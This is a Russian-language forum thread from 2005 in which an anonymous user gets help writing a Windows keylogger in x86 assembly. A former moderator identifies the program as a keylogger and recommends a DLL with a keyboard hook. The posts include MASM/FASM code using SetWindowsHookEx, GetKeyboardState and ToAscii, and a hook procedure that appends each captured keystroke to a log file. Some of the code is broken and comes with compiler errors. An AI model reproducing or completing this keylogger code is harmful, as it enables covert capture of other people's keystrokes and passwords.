Поиск:

Ответ в темуСоздание новой темы Создание опроса
> GetAsyncKeyState проблемма, проблемма с winapi функцией 
:(
    Опции темы
туварищь
Дата 25.7.2005, 20:05 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











Код

invoke GetAsyncKeyState, addr button

Возвращает заглавные буквы причем тока англ алфавита и не понимает русский и прописные буквы как решить эту проблемму?
  Вверх
oleg1973
Дата 26.7.2005, 01:48 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


asm fanat
****


Профиль
Группа: Экс. модератор
Сообщений: 3283
Регистрация: 16.7.2003
Где: Italy

Репутация: 2
Всего: 34



invoke ToAscii


--------------------
SST 465555
icq 200-512-712
PM MAIL WWW ICQ   Вверх
Guest
Дата 26.7.2005, 16:17 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











oleg1973 Попробовал как ты сказал всё равно глючит либо в лог пишет какойто мусор либо вообще ничего.
Код

.386
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data

fname    db    "log.txt", 0
fhandle    dd    ?
cwritten    dd    ?
var    dd    ?

.code
start:
    
    invoke CreateFile, addr fname, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    mov fhandle, eax
    
    main proc    
    
    
    LOCAL KeyCode:DWORD 
    LOCAL KB_State[256]:BYTE 
    LOCAL Char:WORD 

    
    invoke GetKeyboardState, addr KB_State

     
    invoke ToAscii, KeyCode, 0, addr KB_State, addr Char,0
    
    invoke WriteFile, fhandle, addr Char, 1, addr cwritten, NULL
    
    jmp main
    
    main endp
    invoke CloseHandle, fhandle
end start

  Вверх
oleg1973
Дата 27.7.2005, 14:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


asm fanat
****


Профиль
Группа: Экс. модератор
Сообщений: 3283
Регистрация: 16.7.2003
Где: Italy

Репутация: 2
Всего: 34



ну если это кейлогер то нада засунуть все в ДЛЛ
и потом сделать ХУК таким образом параметр KeyCode будет приходить из окна в котором нажатие было
а в данном примере KeyCode у тебя = 0


--------------------
SST 465555
icq 200-512-712
PM MAIL WWW ICQ   Вверх
туварищь
Дата 29.7.2005, 19:48 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











oleg1973
Прочитал на форуме твой топик кейлогер без dll так он вроде называется попробовал периписать всё на masm но вылетает много ошибок
Код

386
.model flat, stdcall
option casemap:none

; èíêëóäû
include      \masm32\include\windows.inc
include      \masm32\include\kernel32.inc
include      \masm32\include\user32.inc

includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

; ïåðåìåííûå
.data
hookmes    dd    ?
msg   MSG <>
tid    dd    ?
thdr    dd    ?
; êîä
.code
start:

        invoke CreateThread, 0, 0, addr myshit,0,0, addr tid
        mov thdr,eax
        invoke WaitForSingleObject, addr thdr,0xffffffff
        invoke ExitProcess,0
    
    myshit:
        invoke GetModuleHandle,0
        invoke SetWindowsHookEx,WH_KEYBOARD_LL, offset KeyboardProc, eax,0
        mov khookhdr,eax
    
    msg_loop:
        invoke GetMessage, addr msg,NULL,0,0
        or eax,eax
        jz end_loop
        invoke TranslateMessage, addr msg
        invoke DispatchMessage, addr msg
        jmp msg_loop
    
    end_loop:
        invoke UnhookWindowsHookEx,[khookhdr]
        ret

    proc KeyboardProc, code, wParam, lParam
     enter
     invoke MessageBox,0,txt,txt,0
     invoke CallNextHookEx, khookhdr,code,wParam,lParam
     return
    endp


 end start
.

ошибки:
C:\AsmEdit\prim.asm(23) : error A2006: undefined symbol : myshit
C:\AsmEdit\prim.asm(23) : error A2114: INVOKE argument type mismatch : argument : 3
C:\AsmEdit\prim.asm(25) : error A2206: missing operator in expression
C:\AsmEdit\prim.asm(25) : error A2114: INVOKE argument type mismatch : argument : 2
C:\AsmEdit\prim.asm(30) : error A2006: undefined symbol : KeyboardProc
C:\AsmEdit\prim.asm(30) : error A2114: INVOKE argument type mismatch : argument : 2
C:\AsmEdit\prim.asm(42) : error A2006: undefined symbol : khookhdr
C:\AsmEdit\prim.asm(42) : error A2114: INVOKE argument type mismatch : argument : 1
C:\AsmEdit\prim.asm(45) : error A2008: syntax error : proc
C:\AsmEdit\prim.asm(46) : error A2008: syntax error : in instruction
C:\AsmEdit\prim.asm(47) : error A2006: undefined symbol : txt
C:\AsmEdit\prim.asm(47) : error A2114: INVOKE argument type mismatch : argument : 3
C:\AsmEdit\prim.asm(47) : error A2114: INVOKE argument type mismatch : argument : 2
C:\AsmEdit\prim.asm(48) : error A2006: undefined symbol : lParam
C:\AsmEdit\prim.asm(48) : error A2114: INVOKE argument type mismatch : argument : 4
C:\AsmEdit\prim.asm(48) : error A2006: undefined symbol : wParam
C:\AsmEdit\prim.asm(48) : error A2114: INVOKE argument type mismatch : argument : 3
C:\AsmEdit\prim.asm(48) : error A2006: undefined symbol : code
C:\AsmEdit\prim.asm(48) : error A2114: INVOKE argument type mismatch : argument : 2
C:\AsmEdit\prim.asm(48) : error A2006: undefined symbol : khookhdr
C:\AsmEdit\prim.asm(48) : error A2114: INVOKE argument type mismatch : argument : 1
C:\AsmEdit\prim.asm(49) : error A2008: syntax error : return
C:\AsmEdit\prim.asm(50) : error A2008: syntax error : endp
C:\AsmEdit\prim.asm(31) : error A2006: undefined symbol : khookhdr
  Вверх
oleg1973
Дата 30.7.2005, 10:19 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


asm fanat
****


Профиль
Группа: Экс. модератор
Сообщений: 3283
Регистрация: 16.7.2003
Где: Italy

Репутация: 2
Всего: 34



ну в масме я не селен, но ошибки изза разницы синтаксиса
код делался для фасма


--------------------
SST 465555
icq 200-512-712
PM MAIL WWW ICQ   Вверх
туварищь
Дата 30.7.2005, 15:36 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











oleg1973 Пробовал компилить твою прогу Fasm' ом компилер ругался на
Код

include '\fasm\include\api.inc'

Скачивал последнюю версию Fasm с официального сайта и там тоже файла api.inc не было.
  Вверх
oleg1973
Дата 31.7.2005, 22:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


asm fanat
****


Профиль
Группа: Экс. модератор
Сообщений: 3283
Регистрация: 16.7.2003
Где: Italy

Репутация: 2
Всего: 34



ну файлик етот я сам делал для удобства
там просто описание импортов функций


--------------------
SST 465555
icq 200-512-712
PM MAIL WWW ICQ   Вверх
туварищь
Дата 1.8.2005, 19:15 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











oleg1973 спасиб тебе я правда и сам уже допёр но ещё раз спасибо
  Вверх
Guest
Дата 14.8.2005, 13:30 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











[code=asm]
proc KeyBoardProc, code, wParam, lParam

kbuff: times 1 db ?
vkey: times 256 db ?

cmp [code=asm], HC_ACTION
jne .next
cmp [wParam], WM_KEYDOWN
jne .next

.write:
invoke CreateFile, fnome, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, NULL, 0
mov [fhdr], eax
invoke SetFilePointer, [fhdr], 0, 0, FILE_END
invoke GetKeyboardState, vkey
mov eax, [lParam]
invoke ToAscii, [eax], [eax+4], vkey, kbuff, NULL
invoke WriteFile, [fhdr], kbuff, 1, shit, 0
invoke CloseHandle, [fhdr]

.next:
invoke CallNextHookEx, [khook], [code=asm], [wParam], [lParam]

ret
endp
oleg1973 я использовал кусок вашей программы для своей и столкнулся с проблеммой в файл пишутся тока прописные буквы латиницы а кирилица вообще не детектируется как быть?
  Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Asm для Windows/DOS"
MAKCim
  • Проставьте несколько ключевых слов темы, чтобы её можно было легче найти.
  • Не забывайте пользоваться кнопкой КОД.
  • Телепатов на форуме нет! Задавайте чёткий, конкретный и полный вопрос. Указывайте полностью ошибки компилятора и компоновщика.
  • Новое сообщение должно иметь прямое отношение к разделу форума. Флуд, флейм, оффтопик запрещены.
  • Категорически запрещается обсуждение вареза, "кряков", взлома программ и т.д.

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, MAKCim.

 
 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Asm для Windows/Dos | Следующая тема »


 




[ Время генерации скрипта: 0.0539 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.